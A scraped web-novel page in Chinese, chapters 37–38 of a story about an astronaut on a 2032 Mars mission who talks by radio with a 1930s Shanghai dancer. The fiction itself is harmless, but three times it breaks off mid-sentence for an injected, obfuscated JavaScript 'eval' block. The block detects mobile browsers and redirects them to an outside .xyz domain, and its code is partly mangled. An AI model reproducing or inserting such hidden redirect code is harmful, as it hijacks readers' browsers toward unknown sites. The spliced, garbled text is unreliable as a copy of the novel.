;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871588|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此!看来你最近的生意不错啊!恭喜恭喜!” 小百合笑道:“多谢老板!同喜同喜!” 不多时,那老板拨着算珠子算出一个总价,报给小百合。小百合心算了一下,大致无误,和他讨价还价两句,便点头应了。 当铺的老板开出一张支票,递给小百合。 小百合道了谢,出了门,立刻奔向不远处的银行,把支票兑成了银圆和美元,小心地收入怀中。 “这下算是够用一阵子了。”她想。 从那日走了之后,张继显一直在外面奔波,不曾回来过。他不时给小百合寄来信件,甚至托人带着支票来到千乐门,拿给小百合。小百合把支票收下,却从未兑现。也从来没有给张继显写过回信。 她表现得如此绝情,只盼或许张继显会一日日渐渐地对她死心,从此绝了与她交往的念头。 可不提张继显那边,出乎小百合意料的是,在她开始上学没几个月之后,谭荣名居然回来了。 他黑了许多,瘦了许多——不,应该说,精干了许多。 在离开上海前,他还像是个刚刚归国不久的翩翩贵公子,十指不沾阳春水,双脚不踏四季尘。可现在,他却仿佛突然变成了一个沉稳的男人,沈静寡言,甚至显得有些心事重重。 他就那么直直地走进千乐门,来到小百合面前,温声邀请她跳舞,好像他昨日才刚刚从她的身边离开,而蔓蔓的事从来没有发生过。 措手不及间,小百合接受了他的邀舞。之后,谭荣名便一如既往般每日带着礼物而来。 小百合思索再三,决定像对待一位老客人一样待他,对他微笑,与他聊天。寻常的礼物便接受,太贵重的就回绝。 她也曾试着问起谭荣名这段时间在北方呆得如何,谭荣名却好像丝毫不想提起过去几个月的事,只淡笑着感慨了一句,他这回真是赚了不少钱,就把话题扯到了别的地方。 小百合也不逼问他。 北方正在打仗。她想,或许,他是见识到了战争。 她自己从来没有见过真正的战场,但张继显对她描述过。他的描述让小百合想起了院长小时候让他们背过的诗:“白骨露于野,千里无鸡鸣。” 那般惨烈,那般荒凉。 张继显说,哪怕你没在战场上伤到分毫,它也会在你的身上留下深深的痕迹。 或许,在谭荣名身上留下的,就是他曾经目睹的战争的痕迹。 报纸上的时事报道一日多过一日,人们在大街上行色匆匆,甚至来千乐门跳舞的人都少了许多,空气中到处飘荡着风雨欲来的气息。 时值一九三零年,若要问多年以后的小百合,她对这一年还记得什么,她会说,她记得陆遥,记得刚开始学习时的新奇和喜悦,记得飞涨的物价和物资的紧俏,还记得那个猝然降临的寒冷的冬天。 一年的时间倏忽而过,转眼就到了一九三一年。 38.第37章 2032年。 陆遥又一次感受到了宇宙的奇妙。 从地球出发之后,她经历的一切都是全新的,是任何人前所未有的体验。她所迈出的每一步,都是人类的第一步。 可那些都是计划之中的,安排好的,可以预料的。 只有与小百合相关的那些事,才是全然超乎她想象的,颠覆她认知的,让她无法理解的。 在一段时间的交流之后,陆遥发现她与小百合之间的时间流速差愈发巨大。开始时,她每过一天,小百合那边会过上七到十天,后来,逐渐变成二周、三周,直至变成两个月、四个月,几乎呈指数发展。 尽管不知道其中真正的原理,但陆遥情不自禁地想,如果让她们联系起来的是一个迷你的黑洞,那黑洞一定在不断地飞快地坍缩。 等她们两者间的时速差大到极致,她们两个的信号再也无法被捕捉,那一定就是黑洞消失,成为一个奇点的那一天。从那天起,她们之间的联系便会就此永远断绝。 想到这,陆遥不禁庆幸起来。庆幸她放弃了最初给自己定下的原则,让小百合找到了和平书店。 就算没有了她,小百合也至少有了短期内的目标,有了一群很好的伙伴,不至于在即将到来的重重风暴中太过无助。 她们两个通话的时间越来越长——这也正常。毕竟,每一次通话,小百合都有过去几个月的事要说。 小百合几乎从不对陆遥说起时局,讲的依然是她舞厅里的人,她生活中的事,偶尔,也会说起她最近学了些什么。但陆遥仍不时能在她的话语中听出对局势的隐忧。 她对未来一无所知,心怀焦虑,却又从不向陆遥问起,让陆遥心中不觉生出一股愧疚。既愧疚,又担忧。 有一次,她试探地问小百合:“你不想知道未来发生了什么吗?” 却没想到,小百合竟然笑了,道:“不想。我不想让你为难。”又道,“而且,既然一百年后你能登到月亮上去,不就证明所有的事都过去了吗?不用担心,我会好好的。” 陆遥无言以对。 她们两个时常说话说到半夜,小百合的事占据了她的心神,甚至有些影响了陆遥的睡眠。 连阿列克谢都看了出来,在一天开会之后叫住了她,担忧地问道:“你还好吗?为什么我总感觉你这两天没什么精神?” 陆遥以“有些没睡好”为理由搪塞了过去,称她会自己进行调整,很快就能恢复,并拜托阿列克谢不要对另外两个人说起——她自认表现得并不明显,他们三个男人中只有阿列克谢的心思最为细腻,如果他不提,另外两人应该不会太快发现。 阿列克谢勉强地应了,又再三叮嘱她,千万要好好休息,陆遥点头道:“好。” 但她并不准备践行自己的承诺。 她有一种预感,这样能和小百合说话的日子没有几天了。 陆遥从小到大,一直都是一个好学生,好属下,好同僚。这一次,她想任性一回。 任务时间还有不到一个月。 “只不过是几天而已。”陆遥想,“就算实验进度落下了一点,之后再补上也来得及。” 他们这次来火星,每个人有自己个人的实验任务,也有需要几个人合作的共同任务。 个人任务可以根据他们自身的情况稍作调整,共同任务却需要严格遵照与地控中心协商后确定的时间表。 因为新元素的发现,他们对原本的时间表做出了极大的调整。但在这些天的研究之后,能够在空间站进行的实验已经基本完成,工作的重心又回到了他们原本计划中的常规任务上。 在五天后,除了王亦刚留守空间站,陆遥、安德烈和阿列克谢要进行第四次火星登陆。 这一次,他们不仅要登陆火星,还要在火星上住上一晚,做一些实验,并前往火星表面干涸的河床,进行地面勘测,探究河床中水流过的痕迹。 实验中要用到钻头和多种分析仪器,因此,他们要先乘坐着陆器降落至火星地表实验室,而后驾驶火星车前往河床。 最近的河床位置在距地表实验室八十公里之外,单单驾驶火星车,就要花去超过五个小时的时间。 “这会是一次漫长的任务。”陆遥对自己说。 但她就是为了完成这样艰难的任务而不停训练的。陆遥对此并不感到畏惧。只可惜,她和小百合的通话要中断两天了——而这对小百合而言,或许就是八九个月的时间。 想象了一下小百合每夜守在收音机前的样子,陆遥的心中闪过一丝难过,又被她强压了下去。还是登陆任务要紧。 准备按部就班地进行着。 他们复盘过降落后的每一个步骤,清点完要装置的仪器,确定了从地表实验室出发后火星车行进的路程,以及到达目的地后要做的实验,只待再次出发。 在任务的前一晚,陆遥的通讯器依然接收到了小百合的信号。 小百合的声音惊喜极了,就好像她每次听到陆遥的声音时那样。 她说,他们那里已经是一九三一年的春天,这些天阳光明媚,天气晴好,她白天的时候才和陶菁去公园赏花回来,还想了一下今天是不是能听到陆遥的声音,没想到真的成真了。 她说,陶菁的父母仍在不停地给她写信,催她回家。看局势这么紧张,陶菁本人也不由地有些动摇。而朱璇则在不知道什么时候,背着她的李将军,和那位与她们一起去营救楚艳雪的刘校尉好上了,每日过得激情四溢,又提心吊胆。 她说,资助他们孤儿院的那位爵士终于彻底不再给他们打钱了。但好在所有的孩子都已基本长大,能够自力更生。当他们全都从孤儿院离开的那天,应当便是孤儿院彻底解散的那一天。 她说,刘一平他们讲课讲得很好,哪怕只对着屋子里的几个人,也好像在真正的课堂上一样。只是有一天不知道哪个巡警听到了什么风声,突然三四个人跑去书店检查,幸好他们迅速地擦掉了黑板上的内容,从后门跑掉了。 她说,她的公寓很快就要到租期,房东催得紧,要给她涨价。她在考虑要不要寻一处便宜点的地方,或者干脆搬回孤儿院住。 她说得如此真实,如此琐碎,陆遥仿佛都能看到她说话、抱怨时微微含 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872119|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在嘴边的笑意。 可她们明明连一面都没有见过,陆遥甚至不知道小百合长成什么模样。 她一定是很美的,陆遥想。不然也不会在大街上被人发掘,成为上海首屈一指的大舞厅的舞女。 又美,又灵动,就像她的声音一样。 她还能听到这个声音几次呢? 仿佛察觉了她的分心,小百合停住话头,问道:“怎么了?是不是我说得太多了?你们的任务进行得还顺利吗?” 陆遥微微吞咽了一下,才艰难地开口道:“小百合,我……我们明天要去出任务,可能有两天没法和你说话了。” 小百合沉默了。过了很久,她才道:“啊……这样啊。那也没有办法。阿遥你的任务要紧,我这边没有关系的,你不用惦记我。” 她努力让自己的声音显得欢快,却又立刻低落下去。 她知道了。陆遥紧紧地咬住嘴唇,想。小百合也知道,她们已经不剩几次机会,很快就将面临诀别。 在心底的一个角落,她想冲动地说:“没关系,我不去了。反正谁去都是一样的,我留下来守着空间站就好。”又或者说,“不用担心,哪怕执行任务,我也能随时和你通话。” 可那不是她。 陆遥可以让自己的实验进度落后一点点,但不会在任务的前一天晚上临时反悔,更不会在她的队友冒着生命危险执行任务时开小差,只为了满足她本人的一点点私心。 她清了清嗓子,道:“之后……还有时间。两天后,我就回来了。” “嗯!我等着!我相信你!”小百合强自打起精神,又开玩笑道,“反正,我的收音机也一时半会儿也不会坏的。” 陆遥微微一勾嘴角:“是啊。肯定不会的。” 小百合像是突然反应过来什么一般,道:“哎呀,你明天都要去执行任务了,我还拉着你说了这么久!应该早点放你去休息才对!” 陆遥停顿片刻,说了谎:“没事,我这边还早。而且我一时半会也睡不着。” “是吗?”小百合道,“那太好了。” 之后,她们又聊了许久。小百合说起了刘一平他们理想中的那个未来,又听陆遥讲起了她眼前的这个宇宙。 聊到最后,小百合的声音逐渐迷糊起来,显然眼睛都要睁不开了。 陆遥轻声道:“你困了,去睡觉吧。” 想来也是。小百合白天刚去逛了公园,晚上又去舞厅上了班,回到家还和她聊了这么久,想必已经很累了。 小百合含混地道:“没有,我不困……”声音却渐渐消失了。 陆遥微微一笑,道:“去睡吧!晚安。”又等了片刻,没有等到小百合的回复,便探手去关通讯器。 就在她确认关闭的一刹那,她听见小百合低低地道:“嗯,再见。希望你一切顺利。” 陆遥以为她会睡不着。然而出乎意料的是,她不仅睡着了,还睡得很好。第二天闹钟刚刚一响,她便睁开了眼。陆遥活动了活动身体,只觉大脑清醒至极,没有一丝困倦。 她对自己道:“是时候去执行任务了。” 39.第38章 “着陆器已安全降落至预定地点。陆遥等三人已到达地表实验室,一切正常。” 王亦刚的声音响彻整个地控中心,所有人都肉眼可见地放松了许多。 尽管这已经是第四次火星登陆任务,但其中的风险却丝毫不会因为登陆次数的增多而降低。 林梦晨松下一口气,又不由回想起王亦刚他们第一次登陆时的场景。 那时候,地控中心的所有工作人员,无论职级是大是小,工作内容如何,全都挤在了控制大厅的大屏幕前。 当王亦刚宣告“着陆器已脱离空间站”,大厅里的每一个人都安静下来,仿佛他们之中没有任何人需要呼吸。所有人都死死地盯住大屏幕上着陆器的降落曲线,哪怕它其实有着数十分钟的延迟,也无人在意。 直到漫长的降落结束,王亦刚再次宣称“着陆器成功着陆,到达预定地点”,大厅中才终于爆发出无比长久而热烈的欢呼。 这一幕被来自各个国家的记者和主持人转播到了世界各地。或许在未来的史书中,将会作为人类文明的重要节点而被记录下来。 可是,那也只是第一次而已。 等到了第四次,除了寥寥几个电视台仍在转播,已经没有太多人在关注了。 毕竟,甚至连他们这些亲身参与其中的工作人员的激情,都消退了很多,不是吗? 正想着,林梦晨突然感觉有人点了点她的肩膀。 隔壁工位的王方丽探过身来,道:“走啊,趁这个功夫去吃饭去啊?他们往火星车上装仪器都还得装一阵子呢,肯定暂时用不到我们了。” 确实。当宇航员们执行登陆任务时,他们与地控中心的通讯都会被公放出来,自然也就暂时不需要联络员了。 “好,走吧!”林梦晨站起身来。她又扭头看了一眼大屏——这时候屏幕上已经切换成了卫星的俯视视角——便跟着王方丽向外走去。 陆遥抱着两箱物资在火星上跃动着,轻巧地保持住身体的平衡。 火星的重力只有地球的三分之一,走起路来本该比在地球上更加轻松,但厚重的宇航服又为他们每一个的动作都增添了难度。 因此,在从地球真正出发之前,单单火星行走这一项,他们就训练了整整三个星期。 陆遥把手中的密封箱放置在阿列克谢脚边。 一条机械狗灵巧地从她的身边跑过,把背后巨大的仪器卸了下来,又小跑着回到地表实验室。 按理说火星表面的搬运工作都该由机械狗来完成,但为了加快速度,陆遥也加入其中——她和机械狗将此行要带的东西搬到火星车附近,再由安德烈和阿列克谢把它们装载到火星车上。 “歇一会吧,遥!没有多少东西了。”安德烈道。 “没事。”陆遥应道,脚步却依他所说,慢慢地停了下来。她没有立刻回到地表实验室,而是站在实验室大门前,转头望向眼前的景象。 火星上的一切都是发红的,远处的山脉和沙丘,近处的平原,都是层层叠叠的红,棕红、赭红、赤红、橘红,连天空都是橙黄的调子,在天尽头散发着淡淡的粉色的光辉,如此广袤、壮观而又荒凉。 哪怕已经不是第一次见到这幅景象,陆遥依然从心底里为之感到深深震撼。 他们真的是在火星上。 两只机械狗再次从她的身边跑过,其中一只背后是空的。看来他们要带的东西已经搬完了。 陆遥回过身,只见安德烈把最后一件设备装好,那两只机械狗轻松一跃,翻上了火星车,又工工整整地把自己叠成了狭长的方块,塞进了余下的缝隙里。 阿列克谢道:“遥!我们该走了!” “好!我这就来!”陆遥道,说着,几个跨步跃至车门前,稳住身形,爬上火星车。 安德烈和阿列克谢已经在车里等她。她刚一爬上来,火星车的车门立刻在她的身后关闭、封牢。 安德烈向王亦刚通报道:“我们已装载完毕,准备出发。” 王亦刚的回复立刻从通讯器中传来:“收到。祝你们任务顺利,一路顺风!” “谢谢!也祝你一切顺利!”安德烈道,而后在控制台点动一番,下达了指令,“开启生命支持系统。” 不多时,就听车内语音温柔地道:“生命支持系统已开启。” 他们可以脱下宇航服了。 火星车里的空间算不上宽敞,但若只是供他们三个人稍稍伸展手脚,可以说绰绰有余——毕竟,他们今晚还要在这车上过夜。 早在空间站上,他们便商议好由安德烈驾驶前半程,陆遥驾驶后半程,回程时两人交换。阿列克谢要对实验负主要责任,因此只要坐车就好。 火星车的履带能够随时适应他们脚下的地形,安德烈又操作得十分谨慎,专门选择平坦的路线行驶。因此,他们三人坐在火星车中,几乎感觉不到任何颠簸。 若不提眼前独特的火星景致,车外空气中足以置他们于死地的二氧化碳,火星车缓慢的车速,以及车上装载的价值数十亿的精密设备,陆遥甚至觉得这就像一次普通的房车旅行。 开了没多久,安德烈也很快放松下来,不再理会屏幕上飞快变动的数据,回过头来,笑着问陆遥和阿列克谢道:“你们怎么一直这么安静?路程还长着呢,要不要放点音乐听?”不等陆遥他们回答,便对火星车道,“嘿,美人!来放点音乐听听!” 陆遥有点好笑地道:“美人?” 阿列克谢无奈地摇了摇头,道:“你不知道吗?亦刚不在的时候,他都是这么称呼AI的。” 与空间站内如出一辙的温柔女声道:“好的,请问您想听什么?” 安德烈想了想,半开玩笑地道:“有没有比才的歌剧,《卡门》?” 女声道:“好的,这就为您播放,歌剧《卡门》。” 激昂的音乐霎时响起,陆遥和阿列克谢惊奇地对视一眼,而安德烈立即跟着哼唱起来。 于是,他们便在《卡门》的乐声中一路向前。 将近六个小时之后,火星车终于抵达了他们预先设定的地点。 此时驾驶者已经换成了陆遥。 她操 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876512|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纵火星车停至一片开阔平坦的区域,道:“好,就到这吧。”又扭头道,“阿列克谢,我们到了,醒一醒。” 在两个半小时激烈的《卡门》结束后,他们一致决定安静一段时间。阿列克谢则表示他要在后座躺一躺,为晚上的实验养足精神。却没想到,他竟真的睡了过去,直到陆遥把火星车停下,还能听到他一阵阵细微的呼噜声。 阿列克谢还是没醒。安德烈探出身去,摇了摇他:“起来了,阿列克谢!我们已经到了!” 阿列克谢迷迷糊糊地坐起身来,揉着眼道:“什么?已经到了?这么快?” 陆遥没有理他,对着通讯器道:“火神一号呼叫空间站,火神一号呼叫空间站,收到请回答。” 王亦刚的声音即刻传来:“收到,这里是火星空间站。一切进行得是否顺利?” 陆遥道:“一切顺利,我们已到达预定地点。马上为晚间实验做准备。” 王亦刚道:“收到。祝你们实验顺利!” 陆遥道:“谢谢。” 而后,切断了通讯。 安德烈和阿列克谢的宇航服已经穿了一半。她也立刻从座位上站起身来,加入其中。 此时已是火星的黄昏。他们之前几次任务都从未在火星表面停留过这么久。 陆遥从火星车上跃下,望向天边的夕阳,心想:“多么有趣。” 世人皆知地球是一颗蓝色的星球,而火星正如其名,是一团火红的颜色。可就在这火红的星球上,唯有夕阳是蓝色的。 她理论上早就知道,但这是第一次亲眼得见。 可惜时间紧迫,留给她欣赏火星落日的空闲不多。陆遥只是心中闪念,便几步跃至车后,唤醒机器狗,开始和安德烈、阿列克谢一起,把火星车里的设备往外卸。 卸下了实验必须的所有仪器,阿列克谢便下达指令,让机械狗帮忙,将它们布置到河床合适的位置。 而后,他们即刻投入到了工作中——得益于在火星车上睡的三个小时,阿列克谢此时显得格外精神抖擞。 不知不觉间,朦胧的蓝紫色夕阳转眼从天边落下,黑暗笼罩大地,星星一颗颗地亮了起来。陆遥听到她宇航服的温控系统飞速运转的声音——火星的昼夜温差极大,外界的温度正在急速地下降,直至降到负100度以下。 周围一片漆黑,阒寂无声,只有他们三个守着设备做实验的声音,以及火星车和实验设备照明的光。然而,这一点点声音和一点点光却更映衬得火星上夜色深浓,天地空旷。 整个火星只有他们和空间站的王亦刚四个人,远在距离地球亿万公里之外。 陆遥突然意识到,他们是多么的孤独。 然而她没来得及细思,便听阿列克谢忽然叫了她一声,让她过去看一个数据。陆遥立刻把心绪收了回来,投入到实验中。 当晚他们一直忙到深夜。陆遥以为她还会惦记着小百合。然而或许是白天工作得太累,她和安德烈、阿列克谢回到火星车,刚刚脱下宇航服,钻入睡袋,便立刻沉入了宛如宇宙般深黑的梦乡。